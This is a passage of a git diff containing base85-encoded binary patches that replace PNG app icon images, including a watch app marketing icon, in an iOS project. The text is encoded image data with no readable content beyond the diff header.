zFPAytuE_Q$S`R}GS~2;SHddi9kCQ?ZaI=N$NJ7C1spmSS$ffl}h`0n_S^v1}xPN7_ z??anALskL>nWE!bzocYcS()W92V#2%7@y#ihKjDQPq2N5DzHZ{G0BmM)bEO}q`=ks zDkpIQ9^XWxq&|_&`O-63$kpHwDQ2>t9E~Q@`Kuw2-?e)ijXEyL(b)L6g0W-UBhv{V z1QL32Uui7&bUn|Z;lS`_V9VTg;#SOh_(J+&^f0a7H7Om0zL9p&nKu1tf$ANH+x^3} z;a%Bj1zU5@7bX*uy5dkc$Z7fW#_l`ee?IyzEOmX=`1~ij& za>8wp8M5WclUVA)ALi{$!{XgFTT~; zoD&BJRMfHvl~ARA-|NMF^H?Uall4e3&;&7uB3dXHUUX|14t)3xApL^LUwwj9@yLzGPK<^jYM)9Ig24^X>Ttea9vt$;7hAHr80+j2D;3=Spid(}uxb zcfAnD9pendnDKXrw&?JbS`70ic8ElZ&*$q7T;3dSs)p;Cu;DDxM=zy2n_pbw68=Nx z7&fU6IqfS?`#+`{{W$gYGGmYeAp;VBwfEqQLm-<{>n_Vxx4vl2KYL-t6aK`#aW21f zLA+mB*K1Au*}bnKE8>$zv5KNhY7U}q5MbWk5#bmyF4sF7L2^K0zW$3(+il7y-6JUI z99X-(Cik~BOyWrE2YkQ8RW_-UnxI%nqsM#zHv#PY_C?sYlTgz5h1$mL?rF@T_^at? zb!rW@%1;?e;+H(}R%GBK0wL`{OwM_NQVwwu(~Strzqb!$7j#H?p{hKpmVBdt1ht`v zbX4=e3;j7MaDMahJGelUP&2o;ABtQyFeI4Br%$%~j#Sv(l{Xp*s;<6E3%#YzT=eD` zvfiR5z}LciLs2D>`xup7OE<4YK*Pq!Uef5ASHk;}fQ8>SVr@rk^ragbJ|O>gqM9vA zwgw|+KVBXPfG@fZVc>CMP6Q7_NI7i@>xnBHcSn)Hy6q|fQ6Tf*k^dy3tl2n?rG?$2 z(!PNiX35)XJM&a40to_g;Z<6pHY`TRjcH^C7y$@0qORs6r+i*iQM+$ldmd*F8FqRL z%9RDmY==3fevQzACv(@~RHM)1}hh$Vrvn2{~>nzEr+%S8;G#`X6-g(I5G| zeoqb~-&~`l>-D6oe>kB}OA96xSAbC8tE4P1XQY{;7^b|lgU8j=e6JhEjpdt*7b3K9 z=m+W^2z!^d{4l6dnUhWpSNl+6-X$`F!eG(Vl$5!tfw)r&zL<7yXo3Ku4r|w#6f`oYH%j@yd9cMk} zZ$XnDr_OOkvc z<8VRSdv0+=v(MCpN>d2`^BxA`Yxl<<_zf76HE$&6xQ@}?7Q^Kp=gDcJQJ+_*>*^fO zr8u>6NFkyaYWm&rCFo{8`ETb1GE1q_q`%cf@*k+#(tkZipP^24O)4?)XH(psQSx^Pj~U;kzlp>bv+O=O zz%c%MQQm^t+U3i9bGZ7_D>ePn93k)qko~UGmn*1R8F9+dmdNE0Zu=bb%wa*z=1$Z9>S*Lcj) zu35G-dvVnWE#IFZ_mNc`mRn&TfzF=iEI%g33T~y)&TGprN%lS(jL_oYjmTyUrwdrj zvOda=90P(2zhlx})sit{@+UV^hhgT{{^x&ipO-gB bUvT>$P^q798sM+rzW_NYWk{8TN#K6~=?hZp literal 8650 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 diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-marketing-1024.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-marketing-1024.png index 005486f2ee12c76078004af2df84000ecdd55761..420828f1d80f3b3c45784e262c00cf8dfa0dd186 100644 GIT binary patch literal 516079 zcmZ^KV{o5O6z&`A7aNV!I1L-y)-Sfr#x z3=R4E0B8nS5U9hGN?iCt0TDe>8SxAi4=)f6gpnMLgy#sAU+J(yYW?MOM>!nHv9uV6 z8tNETs9FWOnaHvjK7la_#mFXLRT`}oIYLigMG4XrE?`xhOn6$z4Kbl6F>X*n#F!cv zD{%1vSo_++T`~sm&URUR5DE)rg+iKUL}Lzb>}cT#`9xAk>5mQ-Jfr~&dw>AnP@D+@ z{nEk5qqHX*1miF>U$!wb+w#VviH1lE8!MA*M!-a5&d=lF2{2k1ZpWG$qILK7_F^L= z!4ui50zam5$VlK9@SX8g0?Bhho}e+1mrxpdFhnp}Fg{SaEGRgJ^M3lzC8Q=&D)Io} z^%(#HLIB|T-&DX60Jt&(z=rOE}o8Nr2o^kG>JK?Yc+$Upx3e}#=b|&eM(BHx)0dgjzZg%x7AOP zq}=Ai#Bz@l+&}3w*@eU>5k6*wd-|dA>Lj;zGrS5!9^+zCwT{c_VD{ z7WK5n6NfWu8aMc^$KDM$R~%#wGi2uX@h{HO_9jfEtjsK5tC85a{;kCNKPyemzL_{% zIl5Rm*aP2GBt<$CzQO(5Qh>CWFxX@L?9HZ)vZ|6MDkza-h5zGY)4$YVA=`lf0I|cT#~Z;Qsz5mOV^7v^o570WtVU;{Foxjz^>7zkf<-!9 zlzlihIpV~e2PlmX%*~Ab_g{xI{sEefn@SqTm;iKMV;xNH$gZ#$_WKQ3B@q=TFIIpA z;M)nuGVh}%r`Xx*p(aloQP%jNq@i)JfR+G&0wT}dvEoa#Mg ztP8re$Nyvec}E%8#u|sIWe1UdS(@?59mx}fj-jEcyd02La*7kl9u*P;9V)-0)jJac zkd)+fkA}4`4LdzdXsp=*aQ(v2y7_=$-pt5uAgIwTsOpAq<|gIs7pH>`hZ!VrS$yMx zl~0XM6#p@sJW-U)^sNM6m=;a64|4R@|2_B6Kkh^FDEagPCPbC?X)tIKranakT1>G| zFik{m6cFlcf=1xkKfD>6#QvaZ{>PqSJ#rBvqRZ)-q2fq_Pcuc=aOC6?DQ^R*40)8G zKmc(rIg?~x@Rjma(W;p02Oe5N23^h9cTusCypb_*2XcfDS>d76EBYS1BqTt}r^tj_ z%MJ+n0P}%DuUPMOr{s7EuGM>9xthfNw0ScYp0CO{a4?C&+n%q7ikO&}>3@Jkcg2le zK>S`dSu&jU>7Jgsk)etq8x3|Y`SFSC-M`U46CeMKVC`w#3nCz{?j;=}Q-R(o1v2$x zq6(E^GG-qdFkC}d+kqmVO;+HF3y*LQ8peTpnjTd%rT;KGPysTeaY~udAyQPL93?k; z8oLVx(J<>{{NMTW;z#`HShCfgne+TV-hE#W{WC6U#KZxwxQ0u`kLIOe| z5RVSj5RKk-Wd2}^`Oog#xY+FJ?SJHKMx9BL0wR7#`e+AkhGdqv{xTmjf`^{ug`*S& zTxJt3g8VZ#e8eA#cV^~0Q0RE&G7v?1G<>Naq)=D_5a=BMDH0Xv8ROD3H-7iZ^f_2u zT&>7|S&RMY{ef@hUyhc&kIQKy;_OfZpB@w5VH+T4{HJdQiwd86MP7RfSJ3%nFxkn` z#D$>9FRe;yR8qE=t+DnW2V7OR$3h}XF4704H4KbglVlu)4n5PZ(eBD(K_gD(xw;$_ z4A7T=zzpVPJg65W31L6}(^i^KD@iw zHC?(jlmKW%sOc{T+gw!yYe1mpQyOQ!M0lPYiLV)k%e7h|Z1@?POBkE)!N${x7DvDU zZ0`2+M`&&^G@sYtGZJ|Fw8lj}x-RrM{`_O{XmO*Wo8nzXBLH2~mxRuuIw-F|i}&|c zyoaL>9{(=OpX;A43E_0DXvq&L)9y4 zpp1y;weU0^yp*7Hi^y^8^C_5A7!~-s$3E3EqoI|wmg_2e%+ zLRDz*6Euz~_N8vTYHd*nUP_aAoD&eD%$!_dAs3_MN+r%v9{ft0HyK~)<82Yxza~}a zx8RAzf@PZDN?{s~d9&s*y7tW3h|7xE4Xz;|MhsD&1Np#bAL(0s>(%z|4bhT^O$$vlm;zhnnf1y?iHXC1QY1fNmP1O2^018i9t zGrPgy4?c&-k7&S(dHsnmJ381q=s^UBAn?a>HL#OB_KC|+CtM31(dAyWV%jyu zy`iy5Qkkz{junE{$y8dc$jDc;JjJDg>WuQ&v?28TgOGv`YXHxS;t%y?%q27*JWme$ z>w^lq|@X!d-3?Vg4>{kQ0yvj#h^yit<4(srCb)k^ox_`(4A(0%oLi zGz71xDZ|(V9##xCBw?;=)@W;FvUx^rMCR<#(1LQvl{U1Tese&%AB8+Db(}XCK%2=P z2M-1xX`u~eD#mD4q5w;{YM%M^gp{R;!F<@nX6fS`v#eRq zU#cXFwWW1kdc)59$^l?+Uanm=6EdJy+5cz7r)5fyh~?2qxU_@6eG+_M+xuF3m`O>s zcmW=?z$-rV`XK5Tf>%F$ZumY=!@G9AL{zRbFSVe(PGpEk)6!xuN2gu-Dz#2=952|= z4^L-qI{p=bfK+9g!;CMo{QRyx_3Id{4v?=VYdk>8wUUqewS=Jn zp??~Dj^l9?DFzz^@&0xxd-U#WFY9%c!sgU;HAd$(Nwx0K=vmWMUiaS&{E4-VLu?yp z#!;$giZob8x-M5i7B*wEU)23`Z~05AFSZ3ug|GEdKITkt{4*m(abM<$vG>&263v2C zJ>njHe>BcxDV10+Au&o~a3R0OeWO1{k39#>HOod@syEGBBc`^`!`vJ-P9?ZB>MG zRTm6D+JE>5nuZ+R2wEGYTx#DNVFMz)Y9XUAIduI;#x3cUb##Kq(-9ZC-`YR*#Mr0Y z)5jTqdX`WpJy#MZAQC@Y3>sgFVx4_21w|x2M_a?L7c|Qce1;^oH<19onxqL}+P`6! z4Jxvy@Y@5&uqWz&(B(_8j7@2J?Ygc28geuKoR$zAJ-uIGq&bJ_8?ddmhq;Z zp`X9<69wrP0^-LQfguH~IixwI7{f?`=0K$(x8Wc=BmyD@)Dk=44U-|}YQ+}P*zwBf zD2STP>Fx_%tJ%2>Z7;lTIY!d6vbM1VDhA3A@$Eze<6k$GWtF^5(`{H(!Q=L55Zhd0 zcJmQh(V&z*s+a(d9@%7_gux7+EGBw;Mw>K^)_GX6!nBN)cA+H^Yp#qX({w5cp6?}; zdtkZ$!JF}tfVz)v2 zUnOP1s<1#PXJ~{;kX;u~i$)SRU5loMuL&umf3F|6W)lEx*eON?ConS&%+x>?Q{w!uG=cUF|j}>+wk~4_hL$dqV zTt_LK*vTe26;7nM;_4vwo%q&!VH`bPcW8Z=U!m>CJVKj>qa6Xp&K|P47`lU?D(SS@9$D?xP*L_=FHb)ifcVd$dHV+CB)=<6<=vu zkmoVQ)}W0Tth7*OpJG^Orydq_`5?+kiH+MX$6WpF#^nbWYalG7Tix2?h>#jVWxWtE zLsXNKjiKj1tqm6%7M$AF1z&uuq`K>&x2UVO3>Q#48eOEth40>*m_r8o>z-{)B4@Kt zFZ6Qo7D?y6V6%&*G`kg+S<*4iGTypDay}ag^{V8A=z*j)RehkoIyDr+aM*w+1#4U7 zCybLUBBfkytEy;Tlaio>QU&9!3rgBbODNp#^2eg@nXGb{D--DmL8!cN0d!sMm3N1u z>bgv5RkAubFMJ&-tRWg%C%=O}Q!@OJfnid@d$eshv%cj--9Z3G)$J<%EC;r|^amrs zohz+he&z(NBQPl9RV9j-M&Jgz2nJ_zRVdf0sNnZyz%3W^R<>!XK3h-MIyQHrsg2ls z>bQzZSBJB^YH5fiSyt7Em&RJ)Q z*;ZnWwn`2=I0I`m#B!CaF!s}nCQ*|IC%ttZsvNgfoEuDHe3r)VjQ){-MT2#u|4SzO z&@-wae(9BPp3S9O&nm2TrS*(r%FAKhS@p*fk9Dr0Y+lY^W(usUBZ_Zo6le*5*uT25 zaA`b7&->r7CW-BRZ&@2yTUJAulGQ_GMkjRVCB+a#b=41OR|E1%SNKdI1ul)+W2Ou$ zVeKwyQfg5laC?*USPjtgge*#s45f40=%SI`+J0jQRBX z)j#eh-kCpZ9B3?ko+mIpJ=QVr0pFhZQIb2=;fY`z-*aUydK&0?V~`1x2T0z$k3U1Q z@X72V_;y1RT%G;UdC)VFFFBxr%WLB z`yW%442%dTScr=^+IHCQke>=&$D%XPzjLbYOYs+_#{P9lO>aw?vYYbjJOXRd zd3S_OO57f@9Hec}T#nB2C>HX?WUJprvq?Pxp*mh7-@8xRrZPf|O|x~PjW#ywCKd83 z=Iaj)+g!%2v(V7%=OTZ!$N=C082Afi3^W|BOhk z^4FYJoHgGxUek@#D>6yx#*c+iN5P61{bSyMc~|387x+>9g~Uw;Dn24hwTD^9M}3R! z=pq>EN{C@<=-0JVEcN_4-!r03G(kvSKE9R=qiY9MzuAg7_^0)a^fC@XbV*G#YnqW0 zp@67K3qnnq-EEZTUqcJ7Fx(cb`_>+iXQRjWN}WKGRhOOC0-aXbzYeb|=5cf#yv)cq zVedn#);_h%Gmx*8EHjFhXPwlL`0x2mYCMu+A%dF3>R}Lq?1!<+_efu-X-6w)I9^I# zkZu`In$qnI>K#j@8|&!f2Uv}~gPNkb1*+0loJXgD=tf=d9n}_|eU0n4if~%1RW40c zT4F#6F$K~C>t%TQO;fBFbNx}Ioc}8xG~(re-`0@<$BODqGnWeITa76`{OUDTfzH>y z`HRjI_3^-|reD?a9zbo4k#+po47QqbP9@LCI7U;#Q9f$=%$@Vi^2 zo}?=j8-*h;THKZpx&iBMr#t@vtBx+Yj+B0}+0|0pE&Mb)Xf;?h58ab!~ zf7VfO$XmtWfnDPIs0#A~4%TZpONp*}@1UiH07fxQ;;QBdyrEkbm{i zStdUKIYD&C&{HM8vTf;Hm{_)v;h!c)yH@_6j!j~XgT>lad{9AHhu)&{#iecRu zFJ7-ga%=I?2+9$gn*(8KwWJ?gIOsSQTYbjNS3GC^O7i?Ni%12tg^D_bL&?v?LKq`rE;4_iS^M1&J;<@=MsAo zZWo%|m2R_kXDIIo^?d$gzHu_@zyfXthGg~_u)&H+0nR&tzKwcbrgxiO>e9*Q%35RV zI3_Nn_p;b zGxx*`k6#A93oTTf;6zd4;MgiK@PkH!x;H4a|oF+g|yfbb0CvQGW!G?>^Wyh0}^tjV81B%Icn$6B`@C-uJ@2GZ=hSQB)<1W_EzEGbLP=e2E9G%z z?sNmcKD|#>ibPX`YaTV)94wYj7J7#EPmPmuuho2Qjox>^abX&%!^Vv{5_>0;1f2r|rDpug+9 z^(kd2>)H&1tB&V5=$oIWslpWzi1RHW%@Tbc_517O*Ca}mT0E6_T8#6pK7{0EF+dF5 zO9Cgjfy&y8x+s6z`3dLOvr`q((E{(70~4itbBOCZvaB&=Cp?u(bYB9%7~np@*)kyb z%3#riv!1vODTD5PV%EU2M{BgYT#2AQq<|?vy~=uzY*JFsAf?@mHniQ@+PD%i0e_1r zB#P+t_3Iu>gte!V@$%A&i0Mp-;g*uGVEmC!jn06iZ0%1ajzHT& z;2s8uGE+65^CUcs1buVQK6B!3r3R@Gvd-Z<0K;n zIh8Nni0dl^JI+R~DvIjB`cVtJY$j`_*KnjxoGud55>dwd6rQdAH+pvD5qk1h*~6-G zJ|*;$n^PTxDzF{#7Sp$e$mi~bFy~lOa;teYs=~*P$GVvo#mZ)N74J=Y zq1v6_)7Z;+J1gx5H%hJ5bgDIEHwAXhv0JAvBH`W*>x+vyq94S>Bqk#+p{3?0&aGPpDEa?!d!G$jRHw zz^Y(o4@;GQFWWXqTZpodjq^#6Z-%4+;7dw7zEwnhs&e(S{+d#LcU~+DQ7hh!q}ldX zfj{F`6```q<;s7C3W`~*lysv1d;s+W=CS-u>lq5Ttbj|EsaXg==L_I=4#HCk)LuKj{;%AMsma!!`MhTqYo5Y#4%xjVmLG=wHEvO}<B-slQyyiqw8GZd2uIUuNrx)2 z3b=RpN3mq)A~6k4(mRjlUMT2v6OIx1&h&~OR; zb6C%;Ewff{(WidRQ6G4G0dDT>h0slp+m8Y6ich|vE;tU<7 zun2l-2$1bPo(sOa<~d2$^O74oOB2=S{jSg1A`xW=`ACtjuQ3)OS@Pw!>Z}CyS4Lcq z3{p|h8-K}Bs~jO9J+u!39Mwb1o~|Vlkl08xm1dd)7LTfZ6g_GCJg*l_XIfoUC$>QR zLKTvv1OxM;Q5<^x>)f-|zlZ(V6Cxx{SR*1zG~md%2<=eAV#jUF?VtC?)T+>DILm*A z9dM`Gi-=LH)w$3csWi1m!hgS>Wv7{cc7=CwktqlpYu(k}Zo^`=Dce^ZoZbscJ$b&) zWKK-H`e{-u0-R2@Eg>hC5|AcIH#_kXl zhq!W9fXoksMEFj`Z~S^3fZ!NX`5NsvhLyi+(wH#g2wmL%USmoLYhjmXRmVT0G!cvv 